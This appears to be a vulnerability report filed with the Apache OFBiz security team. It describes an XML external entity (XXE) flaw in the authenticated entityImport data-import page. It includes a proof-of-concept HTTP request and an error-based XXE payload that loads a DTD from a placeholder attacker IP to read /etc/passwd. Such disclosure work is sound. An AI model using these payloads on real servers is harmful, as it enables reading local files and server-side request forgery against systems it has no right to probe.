This was reported to the OFBiz security team by Jason Nordenstam from offensive-security.com. We did not consider it as a real security issue because it requires authentication.
Authenticated users can import XML documents containing DTDs. The SAX parser used by the XML Data Import functionality does not have DTD parsing explicitly disabled which makes it vulnerable to XXE attacks.
The results of the import are not displayed in the page which means an 'error-based' approach is needed to read local files. The parser will also resolve external entities so this vulnerability can also be used for internal port scanning or server-side request forgery.
POC Example Request:
POST /webtools/control/entityImport HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=66A4289C95C78E5E7977EFF796A7D05B.jvm1; OFBiz.Visitor=10178
Payload One Decoded:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE notfound [
<!ENTITY % base SYSTEM "http://<attacker_ip>/error.dtd">
error.dtd on Attacking Machine:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % external SYSTEM 'file:///banana/%payload;'>" >
We have reproduced it at https://demo-stable.ofbiz.apache.org/webtools/control/entityImport